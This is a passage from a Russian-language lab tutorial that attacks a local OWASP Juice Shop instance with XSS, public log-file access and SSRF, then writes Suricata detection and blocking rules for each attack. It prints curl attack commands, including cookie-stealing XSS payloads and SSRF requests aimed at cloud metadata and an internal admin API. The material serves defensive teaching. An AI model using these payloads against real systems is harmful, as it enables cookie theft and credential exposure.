Команда отправляет HTTP GET запрос с XSS payload, сервер возвращает HTML-страницу Juice Shop (статус 200). Приложение не блокирует опасный код.

Тест 2: XSS через Iframe Injection

```
# XSS payload через iframe
curl -G "http://172.20.0.106:3000/#/search" \
     --data-urlencode "q=<iframe src='javascript:alert(1)'>"
```

XSS payload с iframe и javascript: URI успешно передан в URL.

Тест 3: XSS через Event Handler

```
# XSS payload через onerror event
curl "http://172.20.0.106:3000/#/track-result?id=
<img%20src=x%20onerror=alert(1)>"
```

Event handler `onerror` внедрён в параметр `id`

Тест 4: XSS через JavaScript URI

```
# XSS payload через javascript: протокол
curl "http://172.20.0.106:3000/#/search?q=javascript:alert(document.cookie)"
```

JavaScript URI передан в поисковый запрос.

9.3. Детектирование с Suricata

В `/etc/suricata/rules/local.rules`:

```
# XSS: тег <script>
alert http any any -> $HOME_NET 3000 (msg:"[IDS] XSS script tag detected";
flow:to_server,established; http_uri; content:"<script"; nocase;
classtype:web-application-attack; sid:4508001; rev:1;)

# XSS: onerror/onload event handlers
alert http any any -> $HOME_NET 3000 (msg:"[IDS] XSS event handler
detected"; flow:to_server,established; http_uri;
pcre:"/on(load|error|click)\\s*=/i"; classtype:web-application-attack;
sid:4508002; rev:1;)

# XSS: javascript: URI
alert http any any -> $HOME_NET 3000 (msg:"[IDS] XSS javascript URI
detected"; flow:to_server,established; http_uri; content:"javascript:";
nocase; classtype:web-application-attack; sid:4508003; rev:1;)

# XSS: iframe injection
alert http any any -> $HOME_NET 3000 (msg:"[IDS] XSS iframe injection
detected"; flow:to_server,established; http_uri; content:"<iframe"; nocase;
classtype:web-application-attack; sid:4508004; rev:1;)

# XSS: img tag with onerror
alert http any any -> $HOME_NET 3000 (msg:"[IDS] XSS img onerror detected";
flow:to_server,established; http_uri; content:"<img"; nocase;
content:"onerror"; nocase; distance:50; classtype:web-application-attack;
sid:4508005; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

Повторите атаки и проверьте логи:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

9.4. Предотвращение (IPS)

```
# Блокировка XSS через script тег
drop http any any -> $HOME_NET 3000 (msg:"[IPS] XSS script blocked";
flow:to_server,established; http_uri; content:"<script"; nocase;
sid:4508101; rev:1;)
```

```
# Блокировка javascript: URI
drop http any any -> $HOME_NET 3000 (msg:"[IPS] XSS javascript URI blocked";
flow:to_server,established; http_uri; content:"javascript:"; nocase;
sid:4508102; rev:1;)

# Блокировка iframe injection
drop http any any -> $HOME_NET 3000 (msg:"[IPS] XSS iframe blocked";
flow:to_server,established; http_uri; content:"<iframe"; nocase;
sid:4508103; rev:1;)

# Блокировка event handlers
drop http any any -> $HOME_NET 3000 (msg:"[IPS] XSS event handler blocked";
flow:to_server,established; http_uri; pcre:"/on(load|error|click)\\s*=/i";
sid:4508104; rev:1;)
```

Повторите атаки и проверьте логи. Или откройте EveBox.

Реальная защита требует комплексного подхода: input validation, output encoding, CSP и использования безопасных фреймворков на уровне приложения.

---

10. Атака 9: Недостатки логирования и мониторинга (A09:2021 Security Logging and Monitoring Failures)

10.1. Описание

Недостатки логирования включают: публичный доступ к файлам логов, отсутствие логирования критичных событий, недостаточную защиту логов, отсутствие мониторинга подозрительных действий. В Juice Shop логи доступны без авторизации, что раскрывает конфиденциальную информацию о системе и пользователях.

10.2. Эксплуатация из Kali

Шаг 1: Обнаружение публичной директории с логами

```
# Доступ к директории с логами
curl "http://172.20.0.106:3000/support/logs"
```

Результат: HTML-страница с directory listing, показывающая файлы:

- `access.log.2025-10-16`
- `access.log.2025-10-17`

- `audit.json`

Логи доступны без авторизации через публичный endpoint `/support/logs`.

Шаг 2: Скачивание и анализ access log

```
# Скачать access log за сегодня
curl "http://172.20.0.106:3000/support/logs/access.log.2025-10-17" -o
access.log

# Просмотр содержимого
cat access.log
```

Примерное содержимое access.log:

```
┌──(venv)(root㉿attacker)-[/]
└─# cat access.log
::ffff:172.20.0.10 - - [17/Oct/2025:11:46:30 +0000] "GET
/api/SecurityQuestions HTTP/1.1" 200 1934 "-" "curl/8.15.0"
::ffff:172.20.0.10 - - [17/Oct/2025:11:46:37 +0000] "GET /score-board
HTTP/1.1" 200 75002 "-" "curl/8.15.0"
::ffff:172.20.0.10 - - [17/Oct/2025:11:48:58 +0000] "GET
/api/SecurityQuestions HTTP/1.1" 200 1934 "-" "curl/8.15.0"
::ffff:172.20.0.10 - - [17/Oct/2025:11:50:03 +0000] "GET
/api/SecurityQuestions HTTP/1.1" 200 1934 "-" "curl/8.15.0"
::ffff:172.20.0.10 - - [17/Oct/2025:11:50:12 +0000] "GET /score-board
HTTP/1.1" 200 75002 "-" "curl/8.15.0"
::ffff:172.20.0.10 - - [17/Oct/2025:11:50:43 +0000] "GET /score-board
HTTP/1.1" 200 75002 "-" "curl/8.15.0"
...
```

Информация извлечена:

- IP-адрес атакующего
- Попытки логина
- Доступ к корзинам
- Временные метки всех действий

Шаг 3: Скачивание и анализ audit.json

```
# Скачать audit log
curl "http://172.20.0.106:3000/support/logs/audit.json" -o audit.json
```

```
# Просмотр содержимого
cat audit.json | jq
```

Содержимое audit.json:


```
{
  "keepSettings": {
    "type": 1,
    "amount": 2
  },
  "auditFilename": "logs/audit.json",
  "hashType": "md5",
  "extension": "",
  "files": [
    {
      "date": 1760613919377,
      "name": "/juice-shop/logs/access.log.2025-10-16",
      "hash": "a7d619eb6eaea8e7909ffc1e339a0bd4"
    },
    {
      "date": 1760701590419,
      "name": "/juice-shop/logs/access.log.2025-10-17",
      "hash": "09f4a4d36d1478231d2ac4ed36c7dc8d"
    }
  ]
}
```


Удалось получить критическую информацию.

10.3. Детектирование с Suricata

В `/etc/suricata/rules/local.rules`:

```
# Доступ к директории с логами
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Log directory access";
flow:to_server,established; http_uri; content:"/support/logs";
classtype:policy-violation; sid:4509001; rev:1;)

# Скачивание файлов логов
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Log file download";
flow:to_server,established; http_uri;
pcre:"/support/logs/(access\\.log|audit\\.json)/"; classtype:policy-
violation; sid:4509002; rev:1;)

# Массовое скачивание логов
```

```
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Multiple log file
downloads"; flow:to_server,established; http_uri; content:"/support/logs/";
threshold:type both, track by_src, count 3, seconds 30; classtype:policy-
violation; sid:4509003; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

Повторите атаки и проверьте логи:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

10.4. Предотвращение (IPS)

```
# Блокировка доступа к логам
drop http any any -> $HOME_NET 3000 (msg:"[IPS] Log access blocked";
flow:to_server,established; http_uri; content:"/support/logs"; sid:4509101;
rev:1;)
```

Повторите атаки и проверьте логи. Или откройте EveBox.

Suricata не может определить, какие логи критичны и кто должен иметь доступ. Suricata детектирует доступ к логам, но реальная защита требует правильной конфигурации access control и централизованного мониторинга.

---

11. Атака 10: Подделка серверных запросов (A10:2021 Server-Side Request Forgery - SSRF)

11.1. Описание

SSRF (Server-Side Request Forgery) — атака, при которой злоумышленник заставляет сервер выполнить HTTP-запрос к внутренним ресурсам или внешним системам. В Juice Shop функция загрузки изображения профиля по URL уязвима к SSRF, так как не проверяет целевой адрес.

11.2. Эксплуатация из Kali

Тест 1: SSRF к AWS Metadata (симуляция облачной среды)

```
# Попытка доступа к AWS EC2 metadata
curl -X POST "http://172.20.0.106:3000/profile/image/url" \
     -H "Content-Type: application/json" \
     -d '{"imageUrl":"http://1.2.3.4/latest/meta-data"}'
```

Ожидаемый результат:

```
Found. Redirecting to /profile
```

Сервер принял запрос и попытался загрузить "изображение" с AWS metadata endpoint. В реальном AWS окружении это раскрыло бы:

- IAM роли и credentials
- Security group информацию
- User data scripts
- Network configuration

Тест 2: SSRF к локальным административным endpoint'ам

```
# Запрос к внутреннему admin API
curl -X POST "http://172.20.0.106:3000/profile/image/url" \
     -H "Content-Type: application/json" \
     -d '{"imageUrl":"http://localhost:3000/rest/admin/application-
configuration"}'
```

Ожидаемый результат:

```
Found. Redirecting to /profile
```

Сервер выполнил запрос к собственному administrative endpoint через localhost, обходя внешние access control.

Потенциальный доступ к:

- Административной конфигурации приложения
- Внутренним API без авторизации
- Database management endpoints
- Метрикам и статистике системы

11.3. Детектирование с Suricata

В `/etc/suricata/rules/local.rules`:

```
# SSRF: AWS/Cloud metadata endpoint
alert http any any -> $HOME_NET 3000 (msg:"[IDS] SSRF AWS metadata attempt";
flow:to_server,established; http.request_body; content:"169.254.169.254";
classtype:web-application-attack; sid:4510001; rev:1;)

# SSRF: localhost/127.0.0.1 targeting
alert http any any -> $HOME_NET 3000 (msg:"[IDS] SSRF localhost targeting";
flow:to_server,established; http.request_body;
pcre:"/(localhost|127\\.0\\.0\\.1)/"; classtype:web-application-attack;
sid:4510002; rev:1;)

# SSRF: internal IP ranges (RFC1918)
alert http any any -> $HOME_NET 3000 (msg:"[IDS] SSRF internal IP
targeting"; flow:to_server,established; http.request_body;
pcre:"/(10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.)/"; classtype:web-
application-attack; sid:4510003; rev:1;)

# SSRF: profile image upload endpoint
alert http any any -> $HOME_NET 3000 (msg:"[IDS] SSRF via profile image
URL"; flow:to_server,established; http_uri; content:"/profile/image/url";
http.method; content:"POST"; classtype:policy-violation; sid:4510004;
rev:1;)

# SSRF: file:// protocol attempt
alert http any any -> $HOME_NET 3000 (msg:"[IDS] SSRF file protocol
attempt"; flow:to_server,established; http.request_body; content:"file://";
nocase; classtype:web-application-attack; sid:4510005; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

Повторите атаки и проверьте логи:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

11.4. Предотвращение (IPS)

```
# Блокировка SSRF к AWS metadata
drop http any any -> $HOME_NET 3000 (msg:"[IPS] SSRF AWS metadata blocked";
flow:to_server,established; http.request_body; content:"169.254.169.254";
sid:4510101; rev:1;)

# Блокировка SSRF к localhost
drop http any any -> $HOME_NET 3000 (msg:"[IPS] SSRF localhost blocked";
flow:to_server,established; http.request_body;
pcre:"/(localhost|127\\.0\\.0\\.1)/"; sid:4510102; rev:1;)

# Блокировка SSRF к internal IP
drop http any any -> $HOME_NET 3000 (msg:"[IPS] SSRF internal IP blocked";
flow:to_server,established; http.request_body; pcre:"/(10\\.|172\\.(1[6-
9]|2[0-9]|3[01])\\.|192\\.168\\.)/"; sid:4510103; rev:1;)

# Блокировка file:// protocol
drop http any any -> $HOME_NET 3000 (msg:"[IPS] SSRF file protocol blocked";
flow:to_server,established; http.request_body; content:"file://"; nocase;
sid:4510104; rev:1;)
```

Повторите атаки и проверьте логи. Или откройте EveBox.

Suricata детектирует SSRF-patterns в HTTP body (localhost, internal IP, metadata), но полная защита требует URL validation, whitelisting и network segmentation на уровне приложения.

Правила IDS/IPS — требуют постоянной адаптации под конкретную среду. Не существует универсального набора правил, работающего везде без настройки. Экспериментируйте, анализируйте логи, адаптируйте правила под ваши атаки.
